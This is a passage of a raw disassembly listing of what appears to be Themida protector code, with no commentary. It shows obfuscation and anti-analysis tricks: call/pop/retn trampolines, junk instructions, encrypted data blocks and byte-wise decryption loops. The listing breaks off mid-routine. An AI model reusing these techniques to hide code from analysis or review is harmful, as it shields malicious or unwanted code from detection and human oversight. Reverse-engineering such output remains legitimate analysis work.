; ---------------------------------------------------------------------------
		push	0
		push	eax
		call	sub_5936FB
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5936FB	proc near		; CODE XREF: Themida_:005936F3p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 15h
		inc	eax
		push	eax
		retn
sub_5936FB	endp

; ---------------------------------------------------------------------------
		push	ss
		and	esi, ebp
		jnz	loc_593715
		clc


loc_593715:				; CODE XREF: Themida_:0059370Ej
		lea	ecx, [ebp+60E4DD1h]
		push	0
		push	edi
		call	sub_593726
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_593726	proc near		; CODE XREF: Themida_:0059371Ep

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 17h
		inc	edi
		push	edi
		retn
sub_593726	endp

; ---------------------------------------------------------------------------
		mov	cl, 19h
		xor	cl, dh
		mov	di, 0F0EEh
		jmp	ecx
; ---------------------------------------------------------------------------
		push	0
		push	ebp
		call	sub_59374B
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59374B	proc near		; CODE XREF: Themida_:00593743p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 17h
		inc	ebp
		push	ebp
		retn
sub_59374B	endp

; ---------------------------------------------------------------------------
		sti
		movsb
		aam	0F8h
		cmc
		call	sub_593779
		push	edx
		or	[ecx+0FBCFB43h], ch
		sub	[eax+6358150Eh], cl
		and	al, 4Dh
		cld
		pusha
		test	[ebp+16h], edx

; =============== S U B	R O U T	I N E =======================================



sub_593779	proc near		; CODE XREF: Themida_:00593760p

; FUNCTION CHUNK AT 00593B0F SIZE 0000005E BYTES

		sbb	bl, 4Fh
		pop	edi
		cmp	dword ptr [ebp+60E28D9h], 0
		jz	loc_593B2A
		mov	edi, [ebp+60E2785h]
		cmp	dword ptr [ebp+60E28D9h], 1
		jz	loc_593B45
		stc
		cmp	dword ptr [ebp+60E28D9h], 3
		jbe	loc_593B0F
		push	0
		push	esi
		call	sub_5937B6
		and	[esi-3Dh], bl
sub_593779	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5937B6	proc near		; CODE XREF: sub_593779+35p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 14h
		inc	esi
		push	esi
		retn
sub_5937B6	endp

; ---------------------------------------------------------------------------
		dw 8BE0h
; ---------------------------------------------------------------------------
		popf
		cmp	eax, 60060E0Fh
		push	esi
		jmp	loc_5937DE
; ---------------------------------------------------------------------------
		dd 0DF0B9FF4h, 70348A31h
		db 43h,	0F0h
; ---------------------------------------------------------------------------


loc_5937DE:				; CODE XREF: Themida_:005937CFj
		pop	edi


loc_5937DF:				; CODE XREF: Themida_:0059384Dj
		mov	cx, ds
		mov	edi, [ebp+60E33D9h]
		and	cl, 4
		sub	bx, 8068h
		or	cl, cl
		jz	loc_5938EE
		push	0
		push	ecx


loc_5937FB:				; CODE XREF: Themida_:0059384Bj
		call	sub_593803
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_593803	proc near		; CODE XREF: Themida_:loc_5937FBp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 16h
		inc	ecx
		push	ecx
		retn
sub_593803	endp

; ---------------------------------------------------------------------------
		mov	ecx, 0FDB358E1h
		mov	eax, [ebp+60E17F9h]
		or	edi, 54635956h
		mov	ebx, [ebp+60E0A15h]
		xor	eax, [ebp+60E1D1Dh]
		push	0
		push	edi
		call	sub_59383B
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59383B	proc near		; CODE XREF: Themida_:00593833p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 16h
		inc	edi
		push	edi
		retn
sub_59383B	endp

; ---------------------------------------------------------------------------
		jecxz	short loc_5937FB
		js	short loc_5937DF
		mov	edi, 0DAC3682h
		push	eax
		jmp	loc_593867
; ---------------------------------------------------------------------------
		dw 4E4Ah
		dd 311D1C5Eh, 0C8ECCB78h
		db 0FDh, 7Ch, 0C1h
; ---------------------------------------------------------------------------


loc_593867:				; CODE XREF: Themida_:00593855j
		nop
		push	0
		jl	loc_593876
		mov	[ebp+60E2E4Dh],	esi


loc_593876:				; CODE XREF: Themida_:0059386Aj
		push	0E0A5161Ah
		mov	ebx, 7D142024h
		add	dword ptr [esp], 1F79EDE5h
		push	0
		push	edi
		call	sub_593892
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_593892	proc near		; CODE XREF: Themida_:0059388Ap

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 14h
		inc	edi
		push	edi
		retn
sub_593892	endp

; ---------------------------------------------------------------------------
		push	0FFFFFF8Bh
		popf
		inc	ebp
		xor	[esi], ecx
		push	es
		mov	edi, ebx
		call	dword ptr [ebp+60E0ED5h]
		mov	[ebp+60E0E81h],	esi
		mov	[ebp+611A07Bh],	eax
		push	0
		push	ebx
		call	sub_5938C8
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5938C8	proc near		; CODE XREF: Themida_:005938C0p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ch
		inc	ebx
		push	ebx
		retn
sub_5938C8	endp

; ---------------------------------------------------------------------------
		dd 26EEF067h, 4464540Ah, 0E95BB7C0h, 1C4h, 2FCD8D89h
; ---------------------------------------------------------------------------
		push	cs
		push	es


loc_5938EE:				; CODE XREF: Themida_:005937F2j
		mov	eax, [ebp+611A073h]
		push	0
		push	eax
		call	sub_5938FF
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5938FF	proc near		; CODE XREF: Themida_:005938F7p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 15h
		inc	eax
		push	eax
		retn
sub_5938FF	endp

; ---------------------------------------------------------------------------
		db 5Ch
		dd 1800C77Ah, 0B3000000h, 0B58BF5C2h, 611A077h,	0C9D8D29h
		dd 858B060Eh, 60E1435h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 19h, 0BDC35242h, 9C1CCFCAh, 6E9608Ah, 0FE000000h
		dd 4C68524Fh, 0BD896191h, 60E18D5h, 0BD090689h,	60E22A1h
		dd 17F9858Bh, 5060060Eh, 8B5FCE8Bh, 0E0C61B5h, 46896106h
		dd 4D9D8B04h, 0E8060E07h, 7, 0E57E75A9h, 56987818h, 11E8h
		dd 0DB6FE200h, 0DADDB5FFh, 0CFB8B469h, 286AC9Ah, 5F5F9DB8h
		dd 0BB66965Fh, 6650789Ah, 8996D88Bh, 0E30CDBDh,	73B5FF06h
		dd 6A0611A0h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1B042444h, 46000000h, 0D295C356h, 13D11834h,	1BB3866Ch
		dd 4E8h, 1F03FF00h, 50FC8A00h, 448BD98Ah, 0C1BF0424h, 8B05E67Fh
		dd 12E900h, 0EB4F0000h,	0A6C77996h, 41DF9BF7h, 4F64FD00h
		dd 0E06D2CD8h, 4244489h, 3DAB7FBBh, 9E95839h, 6D000000h
		dd 0D60F4C8h, 0D5A0EE7h, 0A07B858Dh, 6A0611h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 150424h, 52420000h, 8BEB1BC3h
		dd 0E24919Dh, 0FE8A5006h, 6A240489h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 4D49C356h
		dd 343BD9CFh, 0B55BD01h, 95FF060Eh, 60E0ED5h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 0FBC35141h, 52502B7Dh
		dd 5B5B6160h, 0C3806061h, 0C7816676h, 0C761E83Ch, 0E28D985h
		dd 306h, 0E5BD8B00h, 83060E32h,	11A07BBDh, 840F0006h, 3Bh
		dd 5860Fh, 81660000h, 56CF65EBh, 4319D33h, 0E95B060Eh
		dd 3Eh,	0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h
		dd 8C35343h, 619D8BBAh
		db 0, 0Eh, 6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_593779


loc_593B0F:				; CODE XREF: sub_593779+2Cj
					; sub_593779+3ADj
		push	eax
		xor	[ecx+edx], cl
		add	[ecx+edx+1], al
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], cl
		pop	eax
		sub	ecx, 4
		jnz	short loc_593B0F
		jmp	short loc_593B60
; ---------------------------------------------------------------------------


loc_593B2A:				; CODE XREF: sub_593779+Bj
					; sub_593779+3C8j
		push	eax
		xor	[ecx+edx], al
		add	[ecx+edx+1], ah
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], ah
		pop	eax
		sub	ecx, 4
		jnz	short loc_593B2A
		jmp	short loc_593B60
; ---------------------------------------------------------------------------


loc_593B45:				; CODE XREF: sub_593779+1Ej
					; sub_593779+3E3j
		push	eax
		shr	eax, 10h
		sub	[ecx+edx+3], ah
		xor	[ecx+edx+2], al
		pop	eax
		sub	[ecx+edx+1], ah
		xor	[ecx+edx], al
		sub	ecx, 4
		jnz	short loc_593B45
		jmp	short $+2


loc_593B60:				; CODE XREF: sub_593779+3AFj
					; sub_593779+3CAj
		mov	eax, eax
		push	0
		push	esi
		call	sub_593B6D
		and	[esi-3Dh], bl
; END OF FUNCTION CHUNK	FOR sub_593779

; =============== S U B	R O U T	I N E =======================================



sub_593B6D	proc near		; CODE XREF: sub_593779+3ECp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 18h
		inc	esi
		push	esi
		retn
sub_593B6D	endp

; ---------------------------------------------------------------------------
		db 9Eh,	71h, 3
		dd 0BD89D9EAh, 60E07F1h, 0BD83DF8Bh, 60E28D9h, 0F5850F03h
		dd 0F000003h, 84h, 7BBD8300h, 611A0h, 3E2840Fh,	6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
		dd 0DF6CDAC3h, 353CA2E8h, 830F77CAh, 17h, 0FE8h, 1875FB00h
		dd 0B23D7B28h, 38562198h, 66BA04DFh, 0F5F5F53h,	68Fh, 0ADF38100h
		dd 0FF1B80B7h, 11A07BB5h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 0FB8B2EECh
		dd 8D595FFh, 0BD8B060Eh, 60E18C1h, 0A06FB58Bh, 41BF0611h
		dd 0C70FD77Fh, 1000106h, 0FBB70F00h, 840F5696h,	5, 3D674FBBh
		dd 96505B20h, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 17h,	1BC35747h, 0FF174D81h, 11A07BB5h, 57006A06h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h
		dd 0F98B665Bh, 0FFDA8B66h, 0E101995h, 55006A06h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h
		dd 4896682Ch, 6830Fh, 0BD8B0000h, 60E159Dh, 20599D03h
		dd 0BD8B060Eh, 60E22DDh, 0A06FB58Bh, 8B660611h,	0A9858BF9h
		dd 0E9060E00h, 7, 0D5EA078Ah, 89BE1BD6h, 0C486h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1904h, 0C3564600h
		dd 828E018Ch, 0BD8B7C3Eh, 60E1611h, 2FC5958Bh, 9D03060Eh
		dd 60E2FDDh, 0E904C283h, 11h, 4895177Ah, 5030FCFDh, 0C39D4F3h
		dd 66832669h, 205089DCh, 23A5BD8Bh, 858D060Eh, 611B41Ch
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0CEC35545h
		dd 5D8F80FAh, 10FABE6Bh, 0DE8B66F2h, 0B398D89h,	8689060Eh
		dd 0B8h, 0E853006Ah, 3,	5BC35B20h, 4245C89h, 4244481h
		dd 17h,	0BBC35343h, 8BEFCB69h, 0E2AC1BDh, 66006A06h, 0FF0EFEBFh
		dd 11A07BB5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1404h, 0C3554500h, 419D03AEh, 0FF060E0Eh, 0E1E4995h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1B04h
		dd 0C3554500h, 0E7FD953Ah, 2DC435FEh, 7418589h,	14E8060Eh
		dd 0C4000000h, 0AF8C0D6Fh, 78BF10BDh, 43272ED9h, 9DC93E99h
		dd 812ECE2Dh, 190800C3h, 0E9505B0Dh, 13h, 0D4915A3Ah, 557335D7h
		dd 3806D094h, 0D33A316Fh, 8957E075h, 6A2434h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 0A289B5C3h
		dd 5D117713h, 0FF0AB38Dh, 11A07BB5h, 6D9D8B06h,	0FF060E13h
		dd 0E16D195h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1904h, 0C3514100h, 11758AC8h, 85899833h, 60E0F49h, 30D5BD83h
		dd 0F00060Eh, 1184h, 6650F800h,	89BF5FBBh, 89522434h, 0E13458Dh
		dd 0B5FF5B06h, 611A07Bh, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 15h, 67C35747h, 1507BF43h,	95FF603Ah, 60E2981h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0FCC35242h
		dd 0A86DC4F5h, 0B58929C8h, 60E30F9h, 9E960h, 0B0810000h
		dd 27DAFBD1h, 0F809054Fh, 7BB5FF61h, 500611A0h,	0FF5B5FB3h
		dd 0E1ABD95h, 83FB8B06h, 0E29D5BDh, 840F0206h, 3Ch, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0ADC35242h, 0C32B5778h
		dd 8D016032h, 60E0AB9h,	1FDD8D89h, 8B61060Eh, 0E07D185h
		dd 0C6F506h, 5BF55600h,	351585C7h, 60Eh, 8D890000h, 60E0EBDh
		dd 0FFF43CE9h, 13E8FFh,	59950000h, 0EFD354F7h, 75830B53h
		dd 91052710h, 0B414336Dh, 4BF66A5h, 0C18B5F2Ch,	16A58D89h
		dd 0CE9060Eh, 0CF000000h, 0BAAAEB53h, 97BF95CCh, 8D81B0D1h
		dd 0E19C185h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1504h, 0C3564600h, 8B66A633h, 0BB6650D8h, 489E204h
		dd 6AFC24h, 0E850006Ah,	3, 58C35820h, 4244489h,	4244481h
		dd 14h,	39C35040h, 86B3006Ah, 2C89BD33h, 858D060Eh, 612ABD4h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 85C35747h
		dd 0BE197502h, 0D8D8998h, 83060E1Eh, 6A05C0h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 150424h, 55450000h, 0E9BC9EC3h
		dd 0Fh,	9997B771h, 0D55FEDDAh, 46955D69h, 50DA1BF2h, 769A8EBBh
		dd 2404890Bh, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 19h,	0ACC35545h, 9FC563C7h, 0FA8B66D2h, 6A006Ah, 0FFF9B70Fh
		dd 0E2FE195h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1704h, 0C3574700h, 0FE6B1D7Eh, 4099D33h, 8166060Eh
		dd 8DF29BD7h, 11924B8Dh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1504h, 0C3564600h, 11BFCC37h, 0FF1D274Fh
		dd 52006AD1h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1704h
		dd 0C3524200h, 0A588C572h, 57A8E780h, 20219529h, 835B060Eh
		dd 0E0D79BDh, 850F0106h, 8Ch, 2859529h,	26A060Eh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0CC35545h, 0C34CB249h
		dd 908C6F9Dh, 79E717BFh, 0BB605003h, 7CA4A39Fh,	9061F88Ah
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 72C35242h
		dd 0E172CDD3h, 8B55BF63h, 0E38166DEh, 95FFDA45h, 60E1E49h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0ADC35242h
		dd 21E70619h, 0D95E9h, 0E800h, 815D0000h, 12ABDEEDh, 78D38106h
		dd 230AC043h, 0E0AC59Dh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1804h, 0C3554500h, 0D0003E3Eh, 5858D52h
		dd 80061184h, 60900AEBh, 9FBB6660h, 61FA8B29h, 7E8h, 0CE02F400h
		dd 3374D2D5h, 0EE9h, 3252A900h,	55A05B79h, 0E79DF83h, 5EF31EF4h
		dd 0BF665061h, 0E8900729h, 14h,	6A274FF9h, 9A207CA6h, 98AEC347h
		dd 5A745B2Dh, 48FB14Bh,	850F5BF5h, 0Ah,	5E9h, 2FA4000h
		dd 0FF643DA4h, 35h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1704h, 0C3574700h, 68A80D53h, 258964F5h
		dd 0
; ---------------------------------------------------------------------------
		sub	edi, 4B57275Dh
		inc	dword ptr [ebp+60E1475h]
		push	0
		push	ebp
		call	sub_5942B7
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5942B7	proc near		; CODE XREF: Themida_:005942AFp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 16h
		inc	ebp
		push	ebp
		retn
sub_5942B7	endp

; ---------------------------------------------------------------------------
		db 0C5h
; ---------------------------------------------------------------------------
		enter	6ADCh, 0FFh	; CODE XREF: Themida_:loc_594F57j
		push	0
		push	ecx
		call	sub_5942D7
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5942D7	proc near		; CODE XREF: Themida_:005942CFp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 14h
		inc	ecx
		push	ecx
		retn
sub_5942D7	endp

; ---------------------------------------------------------------------------
		jz	short loc_59434F
		mov	ebx, 0B5FF27DFh
		aad	0
		push	cs
		push	es
		push	0
		push	eax
		call	sub_5942FD
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5942FD	proc near		; CODE XREF: Themida_:005942F5p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 19h
		inc	eax
		push	eax
		retn
sub_5942FD	endp

; ---------------------------------------------------------------------------
		push	es
		mov	ebx, 7E8F4B88h
		or	edi, [ebp+60E2045h]
		jge	loc_594325
		mov	[ebp+60E136Dh],	eax


loc_594325:				; CODE XREF: Themida_:00594319j
		call	dword ptr [ebp+60E2F81h]
		jmp	loc_59441A
; ---------------------------------------------------------------------------
		dd 201BD8Bh, 0B0060Eh, 816670E6h, 0E4FF66E3h, 95896071h
		dd 60E08A9h, 0F861C28Bh
		db 3Ch,	61h, 0Fh
; ---------------------------------------------------------------------------


loc_59434F:				; CODE XREF: Themida_:005942E7j
		add	esi, 0
; ---------------------------------------------------------------------------
		dw 0
; ---------------------------------------------------------------------------
		movzx	ecx, al
		mov	edx, 6
		mov	[ebp+60E24A5h],	edx
		mov	eax, ecx
		jnp	loc_59436C
		mov	edi, ecx


loc_59436C:				; CODE XREF: Themida_:00594364j
		shr	eax, 4
		mul	dx
		mov	edi, 2B1B6CFAh
		mov	[ebp+60E19A9h],	esi
		sub	ecx, eax
		mov	edi, [ebp+60E313Dh]
		mov	edx, ecx
		mov	bx, si
		jmp	loc_5943A5
; ---------------------------------------------------------------------------
		jmp	loc_5943A5
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 1Dh,	9Eh, 0C8h
		dd 0EF76AACFh, 738FF6DCh, 395D2597h
; ---------------------------------------------------------------------------
		pop	ebx


loc_5943A5:				; CODE XREF: Themida_:0059438Aj
					; Themida_:0059438Fj
		mov	eax, [ebp+60E1BE5h]
		mov	bh, 5Eh
		add	eax, 7
		add	edi, 4548B046h
		mov	[ebp+60E15C1h],	esi
		add	eax, 0
		mov	ebx, [ebp+60E1F2Dh]
		cmp	edx, eax
		jnb	loc_5943DE
		jmp	loc_59441A
; ---------------------------------------------------------------------------
		sub	edi, [ebp+60E0775h]
		mov	[ebp+60E0741h],	ecx


loc_5943DE:				; CODE XREF: Themida_:005943C7j
		mov	ecx, [ebp+60E23A1h]
		and	edi, [ebp+60E01F5h]
		mov	ebx, [ebp+60E1375h]
		and	ecx, 1
		jz	loc_59441A
		or	edi, 426E26B1h
		and	dword ptr [ebp+60E23A1h], 0FFFFFFFEh
		or	ebx, 6752C594h
		mov	[ebp+60E1BE5h],	edx
		movsx	ebx, cx
		jmp	$+5


loc_59441A:				; CODE XREF: Themida_:0059432Bj
					; Themida_:005943CDj ...
		lea	esi, [ebp+61202A8h]
		mov	[ebp+60E165Dh],	eax
		push	0
		mov	ebx, [ebp+60E17CDh]
		jns	loc_59443C
		push	ebx
		jns	$+6
		pop	ebx


loc_59443C:				; CODE XREF: Themida_:0059442Ej
		call	dword ptr [ebp+60E0F45h]
		call	sub_594452
		xor	eax, 30D574DCh
		adc	ebx, ebp
		fmul	dword ptr [edx+4Eh]
		pop	esi

; =============== S U B	R O U T	I N E =======================================



sub_594452	proc near		; CODE XREF: Themida_:00594442p
		xor	[ebp+60E1B01h],	esi
		pop	edi
		mov	ecx, 7C4h
		mov	edi, eax
		xor	[ebp+60E0F21h],	ebx
		and	ecx, 0FFFFFFFCh
		push	0
		push	esi
		call	sub_594474
		and	[esi-3Dh], bl
sub_594452	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_594474	proc near		; CODE XREF: sub_594452+1Ap

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ah
		inc	esi
		push	esi
		retn
sub_594474	endp

; ---------------------------------------------------------------------------
		mov	ah, 13h
		add	ebx, ecx
		inc	edi
		push	46h
		cld
		mov	ebx, [ebp+60E07D5h]
		sub	eax, eax
		push	0
		push	esi
		call	sub_59449F
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59449F	proc near		; CODE XREF: Themida_:00594497p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ah
		inc	esi
		push	esi
		retn
sub_59449F	endp

; ---------------------------------------------------------------------------
		db 0D9h
		dd 6F14BCB2h, 0BA639Dh,	23000000h, 0E2EB9BDh, 0C233AD06h
		dd 0D003E8D1h, 7504E983h, 0F19D8BF4h, 8A060E07h, 880DDEh
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h
		dd 51410000h, 0F8A088C3h, 0C5958BFCh, 0E9060E2Fh, 12h
		dd 84744D0Ch, 758875EBh, 882A3617h, 0AA02F8A0h,	8D8BE3EBh
		dd 60E0881h, 178D0Fh, 12E90000h, 29000000h, 0DD0CCD9Dh
		dd 0EAB3E6Bh, 68503F56h, 5DD4675Ah, 50D88AD2h, 188BC28Bh
		dd 188BC103h, 0E8D1C18Bh, 188BC203h, 68C0F58h, 29000000h
		dd 0E17959Dh, 399D8B06h, 83060E19h, 0E0C6DBDh, 840F0006h
		dd 63h,	0B8F5h,	6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1D0424h, 55450000h, 2C02B2C3h, 68FBCF7Fh
		dd 8DE6E65Fh, 0E4DD18Dh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1A04h, 0C3554500h, 7DADB2Ch, 23E0493Ah, 0E04319Dh
		dd 60E1FF06h, 0D418501h, 8361060Eh, 0E28D9BDh, 840F0006h
		dd 495h, 0E853006Ah, 3,	5BC35B20h, 4245C89h, 4244481h
		dd 14h,	0B2C35343h, 13E8h, 0E2F27700h, 60A34D55h, 0F62C2BE2h
		dd 3A49245Fh, 57A4CCBBh, 1BF19D8Bh, 835F060Eh, 0E28D9BDh
		dd 840F0106h, 468h, 0E853006Ah,	3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ch, 74C35343h, 0A5B9AC83h, 47231031h, 6860FF9h
		dd 1000000h, 0E1EE59Dh,	0D9BD8306h, 3060E28h, 3F4860Fh
		dd 0D98B0000h, 51006A60h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1C04h, 0C3514100h, 0C6B30956h, 5B14D8A7h
		dd 0CE83Dh, 0CA990000h,	0B261F503h, 5E123514h, 0BF669738h
		dd 895FE66Eh, 0E1C958Dh, 0D98C6606h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Bh, 0B1C35242h,	5C9FEF4Fh, 8046CF14h
		dd 9E804E1h, 0BF000000h, 3DFF93BCh, 0A0849B6Eh,	6795BF66h
		dd 0FC90A5Fh, 14084h, 0FE900h, 4A110000h, 9026A47Dh, 0B3829531h
		dd 1E2C1391h, 0F9858B3Bh, 6A060E17h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 8FDAC356h
		dd 623C6197h, 284ABAE0h, 1D1D8533h, 0B70F060Eh,	665090FBh
		dd 5FC17BBFh, 14E86050h, 0BB000000h, 8287E4D3h,	6D3AB33Dh
		dd 78A66ECEh, 0ABDE39E6h, 0E844EFEEh, 14h, 0CF6F56BEh
		dd 0D02B16EBh, 0FCD1AB17h, 0DF9D3384h, 0B6DB48D3h, 0DA8B5A5Bh
		dd 6A9061h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h
		dd 52420000h, 0A4F7A9C3h, 8A0FB6D0h, 6,	0C41BD89h, 6A060Eh
		dd 312D9D89h, 0C468060Eh, 8BAFA9C0h, 240481FAh,	5075433Bh
		dd 2EB9BD33h, 95FF060Eh, 60E0ED5h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 15h, 84C35040h, 0C3816634h, 85014A52h
		dd 60E1E4Dh, 0A07B8589h, 0E3800611h, 7BF66CBh, 1D7E905h
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h
		dd 57470000h, 0B4F2DC3h, 84BCC2AFh, 54BBFA73h, 89590342h
		dd 0E17E195h, 73858B06h, 0C70611A0h, 1800h, 8BDAB700h
		dd 11A077B5h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1C04h, 0C3574700h, 0D1EE687h, 183CD745h, 0DBD8B49h
		dd 8B060E30h, 0E143585h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1704h, 0C3524200h, 36E8B32Bh, 7E8h, 0A03EDE00h
		dd 1DF5C71Eh, 242D8D31h, 895F060Eh, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1804h,	0C3534300h, 0CC7768E3h
		dd 0F9858B20h, 6A060E17h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1C042444h, 46000000h, 4CBC356h, 0DAE57026h
		dd 0F616961h, 8Ah, 4468900h, 2901B509h,	5650060Eh, 895FFD8Ah
		dd 6A2434h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h
		dd 52420000h, 15B93CC3h, 0B5FF6529h, 611A073h, 8BFA8B66h
		dd 0E13AD9Dh, 0DCA56806h, 0DE806CCh, 0C6000000h, 6CEED62Eh
		dd 0A13AAF93h, 38AC54B2h, 68E0Fh, 810F0000h, 0
; ---------------------------------------------------------------------------
		pop	ebx
		xor	dword ptr [esp], 6D3DF5Ah
		jnz	loc_59496E
		js	loc_59496E
		mov	[ebp+60E0D41h],	eax


loc_59496E:				; CODE XREF: Themida_:0059495Cj
					; Themida_:00594962j
		lea	eax, [ebp+611A07Bh]
		mov	edi, ebx
		sub	edi, [ebp+60E15C1h]
		nop
		mov	bh, ch
		push	eax
		jmp	loc_59498B
; ---------------------------------------------------------------------------
		db 6Eh,	7, 0CEh
; ---------------------------------------------------------------------------
		inc	eax
		sub	bl, dh


loc_59498B:				; CODE XREF: Themida_:00594980j
		nop
		jg	loc_594995
		mov	bx, cx


loc_594995:				; CODE XREF: Themida_:0059498Cj
		jb	loc_5949A1
		mov	[ebp+60E226Dh],	eax


loc_5949A1:				; CODE XREF: Themida_:loc_594995j
		call	dword ptr [ebp+60E0ED5h]
		push	0
		push	edi
		call	sub_5949B2
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5949B2	proc near		; CODE XREF: Themida_:005949AAp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ch
		inc	edi
		push	edi
		retn
sub_5949B2	endp

; ---------------------------------------------------------------------------
		sub	ah, [edx+ebp*2]
		add	eax, 0CB67D726h
		cmp	eax, 33F9BD2Bh
		push	cs
		push	es
		popa
		push	0
		push	eax
		call	sub_5949DD
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5949DD	proc near		; CODE XREF: Themida_:005949D5p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
